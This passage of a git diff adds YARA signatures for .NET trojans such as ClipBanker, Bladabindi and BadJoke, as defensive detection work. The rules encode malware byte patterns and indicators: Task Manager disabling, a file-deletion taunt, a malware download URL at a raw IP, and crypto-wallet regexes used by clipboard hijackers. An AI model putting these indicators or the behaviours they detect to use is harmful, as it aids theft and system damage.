19 01 00 70 06 18 9a 28 8c 00 00 0a 07 16 6f 8d 00 00 0a 00 28 08 00 00 06 6f 85 00 00 0a } //3 + $a_01_1 = {13 04 00 28 8f 00 00 0a 6f 90 00 00 0a 00 28 38 00 00 0a } //1 + $a_01_2 = {73 74 75 62 2e 52 65 73 6f 75 72 63 65 73 } //1 stub.Resources + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} +rule Trojan_BAT_AveMaria_NA_MTB_2{ meta: description = "Trojan:BAT/AveMaria.NA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " diff --git a/Trojan/BAT/BPLogger/Trojan_BAT_BPLogger_AKXA_MTB.yar b/Trojan/BAT/BPLogger/Trojan_BAT_BPLogger_AKXA_MTB.yar new file mode 100644 index 0000000000..7eeb927521 --- /dev/null +++ b/Trojan/BAT/BPLogger/Trojan_BAT_BPLogger_AKXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_BPLogger_AKXA_MTB{ + meta: + description = "Trojan:BAT/BPLogger.AKXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {11 00 11 02 02 11 02 91 03 11 02 11 01 5d 6f ?? 00 00 0a 61 d2 9c 20 } //4 + $a_01_1 = {11 02 17 58 13 02 20 } //2 + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/BPLogger/Trojan_BAT_BPLogger_ALBB_MTB.yar b/Trojan/BAT/BPLogger/Trojan_BAT_BPLogger_ALBB_MTB.yar new file mode 100644 index 0000000000..c026a4f9e5 --- /dev/null +++ b/Trojan/BAT/BPLogger/Trojan_BAT_BPLogger_ALBB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_BPLogger_ALBB_MTB{ + meta: + description = "Trojan:BAT/BPLogger.ALBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 11 05 11 09 6f ?? 00 00 0a 13 0a 72 60 07 00 70 12 0a 28 ?? 00 00 0a 8c ?? 00 00 01 12 0a 28 ?? 00 00 0a 8c ?? 00 00 01 12 0a 28 ?? 00 00 0a 8c ?? 00 00 01 28 ?? 00 00 0a 13 0b 11 0b 6f ?? 00 00 0a 1c fe 01 13 0c } //5 + $a_03_1 = {01 25 16 11 05 20 ff 00 00 00 5d 8c ?? 00 00 01 a2 25 17 11 05 18 5a 20 ff 00 00 00 5d 8c ?? 00 00 01 a2 25 18 11 05 19 5a 20 ff 00 00 00 5d 8c ?? 00 00 01 a2 25 19 11 05 1a 5a 20 ff 00 00 00 5d } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/BadJoke/Trojan_BAT_BadJoke_SK_MTB.yar b/Trojan/BAT/BadJoke/Trojan_BAT_BadJoke_SK_MTB.yar new file mode 100644 index 0000000000..c589861999 --- /dev/null +++ b/Trojan/BAT/BadJoke/Trojan_BAT_BadJoke_SK_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_BadJoke_SK_MTB{ + meta: + description = "Trojan:BAT/BadJoke.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {24 65 33 64 34 65 35 62 63 2d 32 35 30 30 2d 34 64 63 34 2d 61 33 66 62 2d 31 37 30 38 32 33 35 36 30 38 65 64 } //1 $e3d4e5bc-2500-4dc4-a3fb-1708235608ed + $a_81_1 = {41 4c 4f 4e 45 5f 44 45 53 54 52 55 43 54 49 56 45 2e 52 65 73 6f 75 72 63 65 73 } //1 ALONE_DESTRUCTIVE.Resources + $a_81_2 = {41 4c 4f 4e 45 40 44 45 53 54 55 52 43 54 49 56 45 } //1 ALONE@DESTURCTIVE + $a_81_3 = {53 69 74 20 64 6f 77 6e 20 61 6e 64 20 77 61 74 63 68 20 61 6c 6c 20 79 6f 75 27 72 65 20 66 69 6c 65 20 62 65 67 69 6e 20 64 65 6c 65 74 65 64 } //1 Sit down and watch all you're file begin deleted + $a_81_4 = {44 69 73 61 62 6c 65 54 61 73 6b 4d 67 72 } //1 DisableTaskMgr + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/BadJoke/Trojan_BAT_BadJoke_SLC_MTB.yar b/Trojan/BAT/BadJoke/Trojan_BAT_BadJoke_SLC_MTB.yar new file mode 100644 index 0000000000..c8c8919664 --- /dev/null +++ b/Trojan/BAT/BadJoke/Trojan_BAT_BadJoke_SLC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_BadJoke_SLC_MTB{ + meta: + description = "Trojan:BAT/BadJoke.SLC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {1c 72 86 04 00 70 a2 28 27 00 00 0a 0b 06 07 28 28 00 00 0a 00 06 28 29 00 00 0a 26 72 98 04 00 70 72 b0 04 00 70 72 d2 04 00 70 72 e6 04 00 70 28 04 00 00 06 00 02 28 2a 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bandra/Trojan_BAT_Bandra_PGB_MTB.yar b/Trojan/BAT/Bandra/Trojan_BAT_Bandra_PGB_MTB.yar new file mode 100644 index 0000000000..1170cf43da --- /dev/null +++ b/Trojan/BAT/Bandra/Trojan_BAT_Bandra_PGB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Bandra_PGB_MTB{ + meta: + description = "Trojan:BAT/Bandra.PGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {0a 12 00 28 ?? 00 00 0a 19 5b 18 5a 1f 14 58 28 ?? 00 00 0a 00 02 28 ?? 00 00 0a 6f ?? 00 00 0a 0a 12 00 28 ?? 00 00 0a 19 5b 18 5a 1f 14 59 28 ?? 00 00 0a 00 2a } //5 + $a_03_1 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 30 00 36 00 2e 00 31 00 38 00 39 00 2e 00 31 00 38 00 39 00 2e 00 35 00 37 00 2f 00 [0-0f] 00 7a 00 69 00 70 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Barys/Trojan_BAT_Barys_A_MTB.yar b/Trojan/BAT/Barys/Trojan_BAT_Barys_A_MTB.yar new file mode 100644 index 0000000000..907ff67b32 --- /dev/null +++ b/Trojan/BAT/Barys/Trojan_BAT_Barys_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Barys_A_MTB{ + meta: + description = "Trojan:BAT/Barys.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {fe 0e 0a 00 fe 0c 18 00 20 2d 31 7e 18 5a 20 6a c8 b2 df 61 38 61 ef ff ff 20 c1 fc fb 36 20 03 00 00 00 20 c4 2d 00 00 5a 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Barys/Trojan_BAT_Barys_SLYT_MTB.yar b/Trojan/BAT/Barys/Trojan_BAT_Barys_SLYT_MTB.yar new file mode 100644 index 0000000000..64d9e28901 --- /dev/null +++ b/Trojan/BAT/Barys/Trojan_BAT_Barys_SLYT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Barys_SLYT_MTB{ + meta: + description = "Trojan:BAT/Barys.SLYT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8e 69 39 16 00 00 00 17 8d 01 00 00 01 0d 09 16 16 8d 18 00 00 01 a2 09 38 01 00 00 00 14 0c 07 14 08 6f 16 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Barys/Trojan_BAT_Barys_ZABY_MTB.yar b/Trojan/BAT/Barys/Trojan_BAT_Barys_ZABY_MTB.yar new file mode 100644 index 0000000000..87c05fba2c --- /dev/null +++ b/Trojan/BAT/Barys/Trojan_BAT_Barys_ZABY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Barys_ZABY_MTB{ + meta: + description = "Trojan:BAT/Barys.ZABY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {06 0b 07 28 ?? 00 00 06 13 05 11 05 72 49 00 00 70 1b 8d ?? 00 00 01 13 0b 11 0b 16 72 3f 01 00 70 a2 11 0b 17 72 45 01 00 70 a2 11 0b 18 72 4d 01 00 70 a2 11 0b 19 72 51 01 00 70 a2 11 0b 1a 72 57 01 00 70 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Binder/Trojan_BAT_Binder_BAA_MTB.yar b/Trojan/BAT/Binder/Trojan_BAT_Binder_BAA_MTB.yar new file mode 100644 index 0000000000..f9900ac3a7 --- /dev/null +++ b/Trojan/BAT/Binder/Trojan_BAT_Binder_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Binder_BAA_MTB{ + meta: + description = "Trojan:BAT/Binder.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 06 07 02 07 91 03 07 03 8e 69 5d 91 61 d2 9c 03 07 03 8e 69 5d 03 07 03 8e 69 5d 91 07 58 20 00 01 00 00 5d d2 9c 00 07 17 58 0b 07 02 8e 69 fe 04 0c 08 2d ca } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_ASAB_MTB.yar b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_ASAB_MTB.yar new file mode 100644 index 0000000000..3851982f5f --- /dev/null +++ b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_ASAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Bladabindi_ASAB_MTB{ + meta: + description = "Trojan:BAT/Bladabindi.ASAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {07 11 05 02 11 05 91 09 61 08 11 04 91 61 b4 2b 19 11 04 03 6f ?? 00 00 0a 17 da 33 05 16 13 04 2b 0b 11 04 17 d6 13 04 2b 03 9c 2b e4 11 05 17 d6 13 05 2b 03 0b 2b bc 11 05 11 06 31 02 2b 05 2b be 0d 2b a3 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GPPA_MTB.yar b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GPPA_MTB.yar new file mode 100644 index 0000000000..3591171db2 --- /dev/null +++ b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GPPA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Bladabindi_GPPA_MTB{ + meta: + description = "Trojan:BAT/Bladabindi.GPPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {7a 06 14 6f ?? 00 00 0a 75 ?? 00 00 01 0b 07 14 28 ?? 00 00 0a 13 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GPPB_MTB.yar b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GPPB_MTB.yar new file mode 100644 index 0000000000..57734948d0 --- /dev/null +++ b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GPPB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Bladabindi_GPPB_MTB{ + meta: + description = "Trojan:BAT/Bladabindi.GPPB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_81_0 = {52 2f 2f 2f 65 2f 2f 2f 2f 2f 2f 2f 67 2f 41 2f 2f 2f 2f 2f 2f 73 2f 6d 2f 2e 2f 65 2f 2f 2f 2f 78 2f 2f 2f 2f 2f 65 } //1 R///e///////g/A//////s/m/./e////x/////e + condition: + ((#a_81_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GRR_MTB.yar b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GRR_MTB.yar new file mode 100644 index 0000000000..ac3bc8aea9 --- /dev/null +++ b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_GRR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Bladabindi_GRR_MTB{ + meta: + description = "Trojan:BAT/Bladabindi.GRR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {72 59 01 00 70 6f 2a 00 00 0a 0a 06 72 5f 01 00 70 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_NP_MTB.yar b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_NP_MTB.yar index 68eb682b77..b148d97367 100644 --- a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_NP_MTB.yar +++ b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_NP_MTB.yar @@ -1,5 +1,17 @@ rule Trojan_BAT_Bladabindi_NP_MTB{ + meta: + description = "Trojan:BAT/Bladabindi.NP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {69 5f 53 68 69 74 74 65 64 5f 4d 79 5f 53 65 6c 66 2e 65 78 65 } //2 i_Shitted_My_Self.exe + $a_01_1 = {73 00 4b 00 69 00 44 00 74 00 4f 00 6f 00 4c 00 73 00 5f 00 57 00 68 00 59 00 5f 00 75 00 5f 00 4c 00 6f 00 4f 00 6b 00 49 00 67 00 5f 00 48 00 65 00 52 00 65 00 } //2 sKiDtOoLs_WhY_u_LoOkIg_HeRe + $a_01_2 = {53 00 68 00 6f 00 70 00 43 00 68 00 6f 00 70 00 23 00 36 00 39 00 33 00 36 00 } //1 ShopChop#6936 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} +rule Trojan_BAT_Bladabindi_NP_MTB_2{ meta: description = "Trojan:BAT/Bladabindi.NP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " diff --git a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_SLAW_MTB.yar b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_SLAW_MTB.yar new file mode 100644 index 0000000000..f62e3b863c --- /dev/null +++ b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_SLAW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Bladabindi_SLAW_MTB{ + meta: + description = "Trojan:BAT/Bladabindi.SLAW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {12 02 2b 27 72 dd 00 00 70 2b 27 80 17 00 00 04 7e 17 00 00 04 14 2b 21 2c 0c 7e 17 00 00 04 2b 1f 80 18 00 00 04 de 2f 07 2b d5 28 d8 00 00 0a 2b d2 28 d9 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_SLWA_MTB.yar b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_SLWA_MTB.yar new file mode 100644 index 0000000000..dcc22fd540 --- /dev/null +++ b/Trojan/BAT/Bladabindi/Trojan_BAT_Bladabindi_SLWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Bladabindi_SLWA_MTB{ + meta: + description = "Trojan:BAT/Bladabindi.SLWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {13 05 11 05 72 ?? 01 00 70 6f 30 00 00 0a 11 05 72 ?? 01 00 70 6f 31 00 00 0a 11 05 17 6f 32 00 00 0a 11 05 17 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Bulz/Trojan_BAT_Bulz_NB_MTB.yar b/Trojan/BAT/Bulz/Trojan_BAT_Bulz_NB_MTB.yar index 8adab99066..caf1122967 100644 --- a/Trojan/BAT/Bulz/Trojan_BAT_Bulz_NB_MTB.yar +++ b/Trojan/BAT/Bulz/Trojan_BAT_Bulz_NB_MTB.yar @@ -22,6 +22,17 @@ rule Trojan_BAT_Bulz_NB_MTB_2{ } rule Trojan_BAT_Bulz_NB_MTB_3{ + meta: + description = "Trojan:BAT/Bulz.NB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {6f 24 00 00 0a 73 1b 00 00 0a 0c 08 07 6f 25 00 00 0a 25 26 1f 4c 28 18 00 00 06 73 26 00 00 0a 0d 09 02 1f 50 28 18 00 00 06 02 8e 69 1f 54 28 18 00 00 06 59 6f 1d 00 00 0a } //3 + $a_01_1 = {4c 6f 61 64 65 72 20 43 53 47 4f 20 76 32 2d 20 43 68 65 61 74 73 54 44 4d 2e 65 78 65 } //1 Loader CSGO v2- CheatsTDM.exe + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 + +} +rule Trojan_BAT_Bulz_NB_MTB_4{ meta: description = "Trojan:BAT/Bulz.NB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " diff --git a/Trojan/BAT/Cassandra/Trojan_BAT_Cassandra_GPPD_MTB.yar b/Trojan/BAT/Cassandra/Trojan_BAT_Cassandra_GPPD_MTB.yar new file mode 100644 index 0000000000..946f88d53b --- /dev/null +++ b/Trojan/BAT/Cassandra/Trojan_BAT_Cassandra_GPPD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Cassandra_GPPD_MTB{ + meta: + description = "Trojan:BAT/Cassandra.GPPD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {91 9c 61 d2 81 01 00 00 01 11 ?? 1f ?? 91 13 10 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/CelestialCStealer/Trojan_BAT_CelestialCStealer_DA_MTB.yar b/Trojan/BAT/CelestialCStealer/Trojan_BAT_CelestialCStealer_DA_MTB.yar new file mode 100644 index 0000000000..31287df9de --- /dev/null +++ b/Trojan/BAT/CelestialCStealer/Trojan_BAT_CelestialCStealer_DA_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_BAT_CelestialCStealer_DA_MTB{ + meta: + description = "Trojan:BAT/CelestialCStealer.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,6a 00 6a 00 07 00 00 " + + strings : + $a_01_0 = {63 65 6c 65 73 74 69 61 6c 43 2e 50 72 6f 70 65 72 74 69 65 73 } //100 celestialC.Properties + $a_81_1 = {47 65 74 4c 6f 67 69 63 61 6c 44 72 69 76 65 73 } //1 GetLogicalDrives + $a_81_2 = {67 65 74 5f 41 6c 6c 53 63 72 65 65 6e 73 } //1 get_AllScreens + $a_81_3 = {53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 } //1 ScreenToClient + $a_81_4 = {56 69 64 65 6f 43 61 70 74 75 72 65 44 65 76 69 63 65 } //1 VideoCaptureDevice + $a_81_5 = {49 73 4c 6f 67 67 69 6e 67 } //1 IsLogging + $a_81_6 = {43 6f 6d 70 75 74 65 72 49 6e 66 6f } //1 ComputerInfo + condition: + ((#a_01_0 & 1)*100+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=106 + +} \ No newline at end of file diff --git a/Trojan/BAT/Cerbu/Trojan_BAT_Cerbu_AKQ_MTB.yar b/Trojan/BAT/Cerbu/Trojan_BAT_Cerbu_AKQ_MTB.yar new file mode 100644 index 0000000000..4fdbc15da6 --- /dev/null +++ b/Trojan/BAT/Cerbu/Trojan_BAT_Cerbu_AKQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Cerbu_AKQ_MTB{ + meta: + description = "Trojan:BAT/Cerbu.AKQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {08 02 28 2e 00 00 0a 7e 08 00 00 04 15 16 28 2f 00 00 0a 16 9a 28 a7 01 00 06 28 37 00 00 0a de 0f 25 28 33 00 00 0a 13 04 28 34 00 00 0a de 00 02 28 2e 00 00 0a 7e 08 00 00 04 15 16 28 2f 00 00 0a 19 9a 28 35 00 00 0a 2c 18 08 1c 28 38 00 00 0a de 0f 25 28 33 00 00 0a 13 05 28 34 00 00 0a de 00 08 28 39 00 00 0a 26 de 0f } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Cerbu/Trojan_BAT_Cerbu_ARA_MTB.yar b/Trojan/BAT/Cerbu/Trojan_BAT_Cerbu_ARA_MTB.yar new file mode 100644 index 0000000000..98be7676f7 --- /dev/null +++ b/Trojan/BAT/Cerbu/Trojan_BAT_Cerbu_ARA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Cerbu_ARA_MTB{ + meta: + description = "Trojan:BAT/Cerbu.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {20 00 04 00 00 6a 5a 20 00 04 00 00 6a 5a 20 00 04 00 00 6a 5a 0b 06 6f ?? ?? ?? 0a 2c 0b 06 6f ?? ?? ?? 0a 07 fe 02 2b 01 16 0c de 05 } //2 + $a_01_1 = {5c 75 69 68 64 66 68 6a 64 73 61 68 66 64 73 66 2e 70 64 62 } //2 \uihdfhjdsahfdsf.pdb + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_ACAB_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_ACAB_MTB.yar new file mode 100644 index 0000000000..b33e0758ef --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_ACAB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_ClipBanker_ACAB_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.ACAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {07 08 06 7e 44 00 00 04 06 28 ?? 01 00 06 28 ?? 01 00 06 28 ?? 01 00 06 9d 08 17 13 04 1f fd 20 73 dc 05 4a 20 4f ?? db 25 61 20 3c 4c de 6f 33 0a 18 13 04 fe 1c 0d 00 00 1b 58 00 58 0c 08 02 32 be } //4 + $a_01_1 = {49 4c 6f 76 65 59 6f 75 72 4d 6f 74 68 65 72 } //2 ILoveYourMother + $a_01_2 = {43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 } //1 Confuser.Core + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_ACB_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_ACB_MTB.yar index 2bbae38175..408f6cf8e7 100644 --- a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_ACB_MTB.yar +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_ACB_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_ClipBanker_ACB_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.ACB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {a2 25 17 02 a2 25 18 72 ?? ?? ?? 70 a2 25 19 03 a2 25 1a 72 ?? ?? ?? 70 a2 25 1b 04 a2 28 ?? 00 00 0a 6f ?? 00 00 0a 00 08 0b 07 6f } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_ClipBanker_ACB_MTB_2{ meta: description = "Trojan:BAT/ClipBanker.ACB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_GAF_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_GAF_MTB.yar new file mode 100644 index 0000000000..06edfe0b57 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_GAF_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_ClipBanker_GAF_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.GAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_80_0 = {74 65 74 68 65 72 73 6f 6c } //tethersol 2 + $a_80_1 = {50 72 6f 63 65 73 73 43 6c 69 70 62 6f 61 72 64 43 6f 6e 74 65 6e 74 } //ProcessClipboardContent 1 + $a_80_2 = {43 6c 69 70 62 6f 61 72 64 4c 69 73 74 65 6e 65 72 } //ClipboardListener 1 + $a_80_3 = {5e 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 24 } //^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$ 1 + $a_80_4 = {5e 28 3f 3a 5b 4c 4d 33 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 36 2c 33 33 7d 29 24 } //^(?:[LM3][a-km-zA-HJ-NP-Z1-9]{26,33})$ 1 + $a_80_5 = {28 3f 3a 5e 30 78 5b 61 2d 66 41 2d 46 30 2d 39 5d 7b 34 30 7d 24 29 } //(?:^0x[a-fA-F0-9]{40}$) 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_GTD_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_GTD_MTB.yar new file mode 100644 index 0000000000..df24ca6d94 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_GTD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_ClipBanker_GTD_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {1f 31 13 1d 1f 2d 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 20 ?? ?? ?? ?? 33 0a 18 13 1d fe ?? ?? ?? ?? ?? 58 00 3b ?? ?? ?? ?? 07 6f ?? ?? ?? ?? 07 6f ?? ?? ?? ?? 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_MR_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_MR_MTB.yar index 75a7e62e68..f76fb57eb4 100644 --- a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_MR_MTB.yar +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_MR_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_ClipBanker_MR_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {1f 3a 5a 11 06 58 13 08 07 11 07 11 08 20 ff ?? ?? ?? 5f d2 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_BAT_ClipBanker_MR_MTB_2{ meta: description = "Trojan:BAT/ClipBanker.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " diff --git a/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJK_MTB.yar b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJK_MTB.yar new file mode 100644 index 0000000000..5137692263 --- /dev/null +++ b/Trojan/BAT/ClipBanker/Trojan_BAT_ClipBanker_NJK_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_ClipBanker_NJK_MTB{ + meta: + description = "Trojan:BAT/ClipBanker.NJK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_81_0 = {5e 28 